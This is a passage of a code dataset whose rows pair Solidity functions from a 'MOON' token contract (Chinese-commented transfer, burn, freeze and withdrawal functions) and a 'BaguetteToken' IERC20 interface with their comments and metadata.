// 从allowance中减去被授权人可使用token的数量
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
// 交易成功后触发Transfer事件,并返回true
emit Transfer(_from, _to, _value);
return true;
}
// 消毁币
function burn(uint256 _value) public returns (bool success) {
// 检查当前帐号余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 更新发行币的总量
totalSupply = SafeMath.safeSub(totalSupply,_value);
// 消币成功后触发Burn事件,并返回true
emit Burn(msg.sender, _value);
return true;
}
// 冻结
function freeze(uint256 _value) public returns (bool success) {
// 检查sender账户余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往freezeOf中给sender账户增加指定数量的token
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// freeze成功后触发Freeze事件,并返回true
emit Freeze(msg.sender, _value);
return true;
}
// 解冻
function unfreeze(uint256 _value) public returns (bool success) {
// 检查解冻金额是否有效
assert(freezeOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从freezeOf中减去指定sender账户一定数量的token
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// 向sender账户中增加一定数量的token
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
// 解冻成功后触发事件
emit Unfreeze(msg.sender, _value);
return true;
}
// 管理者自己取钱
function withdrawEther(uint256 amount) public {
// 检查sender是否是当前合约的管理者
assert(msg.sender == owner);
// sender给owner发送token
owner.transfer(amount);
}
} | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 防止地址无效
assert(_to != 0x0);
// 防止转账金额无效
assert(_value > 0);
// 检查授权人账户的余额是否足够
assert(balanceOf[_from] >= _value);
// 检查数据是否溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 检查被授权人在allowance中可以使用的token数量是否足够
assert(_value <= allowance[_from][msg.sender]);
// 从授权人帐号中减去一定数量的token
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// 往接收人帐号中增加一定数量的token
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 从allowance中减去被授权人可使用token的数量
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
// 交易成功后触发Transfer事件,并返回true
emit Transfer(_from, _to, _value);
return true;
}
| // 授权转账:被授权人从_from帐号中给_to帐号转了_value个token | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
2446,
3356
]
} | 11,244 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uint256) public balanceOf;
// 该mappin保存指定帐号被授权的token个数
// key1表示授权人,key2表示被授权人,value2表示被授权token的个数
mapping (address => mapping (address => uint256)) public allowance;
// 冻结指定帐号token的个数
mapping (address => uint256) public freezeOf;
// 定义事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
// 构造函数(1000000000, "MOON", 18, "MOON")
constructor(
uint256 initialSupply, // 发行数量
string tokenName, // token的名字 BinanceToken
uint8 decimalUnits, // 最小分割,小数点后面的尾数 1ether = 10** 18wei
string tokenSymbol // MOON
) public {
decimals = decimalUnits;
balanceOf[msg.sender] = initialSupply * 10 ** 18;
totalSupply = initialSupply * 10 ** 18;
name = tokenName;
symbol = tokenSymbol;
owner = msg.sender;
}
// 转账:某个人花费自己的币
function transfer(address _to, uint256 _value) public {
// 防止_to无效
assert(_to != 0x0);
// 防止_value无效
assert(_value > 0);
// 防止转账人的余额不足
assert(balanceOf[msg.sender] >= _value);
// 防止数据溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 从转账人的账户中减去一定的token的个数
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往接收帐号增加一定的token个数
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 转账成功后触发Transfer事件,通知其他人有转账交易发生
emit Transfer(msg.sender, _to, _value);// Notify anyone listening that this transfer took place
}
// 授权:授权某人花费自己账户中一定数量的token
function approve(address _spender, uint256 _value) public returns (bool success) {
assert(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
// 授权转账:被授权人从_from帐号中给_to帐号转了_value个token
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 防止地址无效
assert(_to != 0x0);
// 防止转账金额无效
assert(_value > 0);
// 检查授权人账户的余额是否足够
assert(balanceOf[_from] >= _value);
// 检查数据是否溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 检查被授权人在allowance中可以使用的token数量是否足够
assert(_value <= allowance[_from][msg.sender]);
// 从授权人帐号中减去一定数量的token
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// 往接收人帐号中增加一定数量的token
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 从allowance中减去被授权人可使用token的数量
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
// 交易成功后触发Transfer事件,并返回true
emit Transfer(_from, _to, _value);
return true;
}
// 消毁币
function burn(uint256 _value) public returns (bool success) {
// 检查当前帐号余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 更新发行币的总量
totalSupply = SafeMath.safeSub(totalSupply,_value);
// 消币成功后触发Burn事件,并返回true
emit Burn(msg.sender, _value);
return true;
}
// 冻结
function freeze(uint256 _value) public returns (bool success) {
// 检查sender账户余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往freezeOf中给sender账户增加指定数量的token
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// freeze成功后触发Freeze事件,并返回true
emit Freeze(msg.sender, _value);
return true;
}
// 解冻
function unfreeze(uint256 _value) public returns (bool success) {
// 检查解冻金额是否有效
assert(freezeOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从freezeOf中减去指定sender账户一定数量的token
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// 向sender账户中增加一定数量的token
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
// 解冻成功后触发事件
emit Unfreeze(msg.sender, _value);
return true;
}
// 管理者自己取钱
function withdrawEther(uint256 amount) public {
// 检查sender是否是当前合约的管理者
assert(msg.sender == owner);
// sender给owner发送token
owner.transfer(amount);
}
} | burn | function burn(uint256 _value) public returns (bool success) {
// 检查当前帐号余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 更新发行币的总量
totalSupply = SafeMath.safeSub(totalSupply,_value);
// 消币成功后触发Burn事件,并返回true
emit Burn(msg.sender, _value);
return true;
}
| // 消毁币 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
3372,
3870
]
} | 11,245 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uint256) public balanceOf;
// 该mappin保存指定帐号被授权的token个数
// key1表示授权人,key2表示被授权人,value2表示被授权token的个数
mapping (address => mapping (address => uint256)) public allowance;
// 冻结指定帐号token的个数
mapping (address => uint256) public freezeOf;
// 定义事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
// 构造函数(1000000000, "MOON", 18, "MOON")
constructor(
uint256 initialSupply, // 发行数量
string tokenName, // token的名字 BinanceToken
uint8 decimalUnits, // 最小分割,小数点后面的尾数 1ether = 10** 18wei
string tokenSymbol // MOON
) public {
decimals = decimalUnits;
balanceOf[msg.sender] = initialSupply * 10 ** 18;
totalSupply = initialSupply * 10 ** 18;
name = tokenName;
symbol = tokenSymbol;
owner = msg.sender;
}
// 转账:某个人花费自己的币
function transfer(address _to, uint256 _value) public {
// 防止_to无效
assert(_to != 0x0);
// 防止_value无效
assert(_value > 0);
// 防止转账人的余额不足
assert(balanceOf[msg.sender] >= _value);
// 防止数据溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 从转账人的账户中减去一定的token的个数
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往接收帐号增加一定的token个数
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 转账成功后触发Transfer事件,通知其他人有转账交易发生
emit Transfer(msg.sender, _to, _value);// Notify anyone listening that this transfer took place
}
// 授权:授权某人花费自己账户中一定数量的token
function approve(address _spender, uint256 _value) public returns (bool success) {
assert(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
// 授权转账:被授权人从_from帐号中给_to帐号转了_value个token
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 防止地址无效
assert(_to != 0x0);
// 防止转账金额无效
assert(_value > 0);
// 检查授权人账户的余额是否足够
assert(balanceOf[_from] >= _value);
// 检查数据是否溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 检查被授权人在allowance中可以使用的token数量是否足够
assert(_value <= allowance[_from][msg.sender]);
// 从授权人帐号中减去一定数量的token
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// 往接收人帐号中增加一定数量的token
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 从allowance中减去被授权人可使用token的数量
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
// 交易成功后触发Transfer事件,并返回true
emit Transfer(_from, _to, _value);
return true;
}
// 消毁币
function burn(uint256 _value) public returns (bool success) {
// 检查当前帐号余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 更新发行币的总量
totalSupply = SafeMath.safeSub(totalSupply,_value);
// 消币成功后触发Burn事件,并返回true
emit Burn(msg.sender, _value);
return true;
}
// 冻结
function freeze(uint256 _value) public returns (bool success) {
// 检查sender账户余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往freezeOf中给sender账户增加指定数量的token
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// freeze成功后触发Freeze事件,并返回true
emit Freeze(msg.sender, _value);
return true;
}
// 解冻
function unfreeze(uint256 _value) public returns (bool success) {
// 检查解冻金额是否有效
assert(freezeOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从freezeOf中减去指定sender账户一定数量的token
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// 向sender账户中增加一定数量的token
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
// 解冻成功后触发事件
emit Unfreeze(msg.sender, _value);
return true;
}
// 管理者自己取钱
function withdrawEther(uint256 amount) public {
// 检查sender是否是当前合约的管理者
assert(msg.sender == owner);
// sender给owner发送token
owner.transfer(amount);
}
} | freeze | function freeze(uint256 _value) public returns (bool success) {
// 检查sender账户余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往freezeOf中给sender账户增加指定数量的token
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// freeze成功后触发Freeze事件,并返回true
emit Freeze(msg.sender, _value);
return true;
}
| // 冻结 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
3885,
4440
]
} | 11,246 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uint256) public balanceOf;
// 该mappin保存指定帐号被授权的token个数
// key1表示授权人,key2表示被授权人,value2表示被授权token的个数
mapping (address => mapping (address => uint256)) public allowance;
// 冻结指定帐号token的个数
mapping (address => uint256) public freezeOf;
// 定义事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
// 构造函数(1000000000, "MOON", 18, "MOON")
constructor(
uint256 initialSupply, // 发行数量
string tokenName, // token的名字 BinanceToken
uint8 decimalUnits, // 最小分割,小数点后面的尾数 1ether = 10** 18wei
string tokenSymbol // MOON
) public {
decimals = decimalUnits;
balanceOf[msg.sender] = initialSupply * 10 ** 18;
totalSupply = initialSupply * 10 ** 18;
name = tokenName;
symbol = tokenSymbol;
owner = msg.sender;
}
// 转账:某个人花费自己的币
function transfer(address _to, uint256 _value) public {
// 防止_to无效
assert(_to != 0x0);
// 防止_value无效
assert(_value > 0);
// 防止转账人的余额不足
assert(balanceOf[msg.sender] >= _value);
// 防止数据溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 从转账人的账户中减去一定的token的个数
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往接收帐号增加一定的token个数
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 转账成功后触发Transfer事件,通知其他人有转账交易发生
emit Transfer(msg.sender, _to, _value);// Notify anyone listening that this transfer took place
}
// 授权:授权某人花费自己账户中一定数量的token
function approve(address _spender, uint256 _value) public returns (bool success) {
assert(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
// 授权转账:被授权人从_from帐号中给_to帐号转了_value个token
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 防止地址无效
assert(_to != 0x0);
// 防止转账金额无效
assert(_value > 0);
// 检查授权人账户的余额是否足够
assert(balanceOf[_from] >= _value);
// 检查数据是否溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 检查被授权人在allowance中可以使用的token数量是否足够
assert(_value <= allowance[_from][msg.sender]);
// 从授权人帐号中减去一定数量的token
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// 往接收人帐号中增加一定数量的token
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 从allowance中减去被授权人可使用token的数量
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
// 交易成功后触发Transfer事件,并返回true
emit Transfer(_from, _to, _value);
return true;
}
// 消毁币
function burn(uint256 _value) public returns (bool success) {
// 检查当前帐号余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 更新发行币的总量
totalSupply = SafeMath.safeSub(totalSupply,_value);
// 消币成功后触发Burn事件,并返回true
emit Burn(msg.sender, _value);
return true;
}
// 冻结
function freeze(uint256 _value) public returns (bool success) {
// 检查sender账户余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往freezeOf中给sender账户增加指定数量的token
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// freeze成功后触发Freeze事件,并返回true
emit Freeze(msg.sender, _value);
return true;
}
// 解冻
function unfreeze(uint256 _value) public returns (bool success) {
// 检查解冻金额是否有效
assert(freezeOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从freezeOf中减去指定sender账户一定数量的token
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// 向sender账户中增加一定数量的token
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
// 解冻成功后触发事件
emit Unfreeze(msg.sender, _value);
return true;
}
// 管理者自己取钱
function withdrawEther(uint256 amount) public {
// 检查sender是否是当前合约的管理者
assert(msg.sender == owner);
// sender给owner发送token
owner.transfer(amount);
}
} | unfreeze | function unfreeze(uint256 _value) public returns (bool success) {
// 检查解冻金额是否有效
assert(freezeOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从freezeOf中减去指定sender账户一定数量的token
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// 向sender账户中增加一定数量的token
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
// 解冻成功后触发事件
emit Unfreeze(msg.sender, _value);
return true;
}
| // 解冻 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
4455,
4994
]
} | 11,247 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uint256) public balanceOf;
// 该mappin保存指定帐号被授权的token个数
// key1表示授权人,key2表示被授权人,value2表示被授权token的个数
mapping (address => mapping (address => uint256)) public allowance;
// 冻结指定帐号token的个数
mapping (address => uint256) public freezeOf;
// 定义事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
// 构造函数(1000000000, "MOON", 18, "MOON")
constructor(
uint256 initialSupply, // 发行数量
string tokenName, // token的名字 BinanceToken
uint8 decimalUnits, // 最小分割,小数点后面的尾数 1ether = 10** 18wei
string tokenSymbol // MOON
) public {
decimals = decimalUnits;
balanceOf[msg.sender] = initialSupply * 10 ** 18;
totalSupply = initialSupply * 10 ** 18;
name = tokenName;
symbol = tokenSymbol;
owner = msg.sender;
}
// 转账:某个人花费自己的币
function transfer(address _to, uint256 _value) public {
// 防止_to无效
assert(_to != 0x0);
// 防止_value无效
assert(_value > 0);
// 防止转账人的余额不足
assert(balanceOf[msg.sender] >= _value);
// 防止数据溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 从转账人的账户中减去一定的token的个数
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往接收帐号增加一定的token个数
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 转账成功后触发Transfer事件,通知其他人有转账交易发生
emit Transfer(msg.sender, _to, _value);// Notify anyone listening that this transfer took place
}
// 授权:授权某人花费自己账户中一定数量的token
function approve(address _spender, uint256 _value) public returns (bool success) {
assert(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
// 授权转账:被授权人从_from帐号中给_to帐号转了_value个token
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 防止地址无效
assert(_to != 0x0);
// 防止转账金额无效
assert(_value > 0);
// 检查授权人账户的余额是否足够
assert(balanceOf[_from] >= _value);
// 检查数据是否溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 检查被授权人在allowance中可以使用的token数量是否足够
assert(_value <= allowance[_from][msg.sender]);
// 从授权人帐号中减去一定数量的token
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// 往接收人帐号中增加一定数量的token
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 从allowance中减去被授权人可使用token的数量
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
// 交易成功后触发Transfer事件,并返回true
emit Transfer(_from, _to, _value);
return true;
}
// 消毁币
function burn(uint256 _value) public returns (bool success) {
// 检查当前帐号余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 更新发行币的总量
totalSupply = SafeMath.safeSub(totalSupply,_value);
// 消币成功后触发Burn事件,并返回true
emit Burn(msg.sender, _value);
return true;
}
// 冻结
function freeze(uint256 _value) public returns (bool success) {
// 检查sender账户余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往freezeOf中给sender账户增加指定数量的token
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// freeze成功后触发Freeze事件,并返回true
emit Freeze(msg.sender, _value);
return true;
}
// 解冻
function unfreeze(uint256 _value) public returns (bool success) {
// 检查解冻金额是否有效
assert(freezeOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从freezeOf中减去指定sender账户一定数量的token
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// 向sender账户中增加一定数量的token
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
// 解冻成功后触发事件
emit Unfreeze(msg.sender, _value);
return true;
}
// 管理者自己取钱
function withdrawEther(uint256 amount) public {
// 检查sender是否是当前合约的管理者
assert(msg.sender == owner);
// sender给owner发送token
owner.transfer(amount);
}
} | withdrawEther | function withdrawEther(uint256 amount) public {
// 检查sender是否是当前合约的管理者
assert(msg.sender == owner);
// sender给owner发送token
owner.transfer(amount);
}
| // 管理者自己取钱 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
5014,
5208
]
} | 11,248 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
96,
156
]
} | 11,249 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
239,
312
]
} | 11,250 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
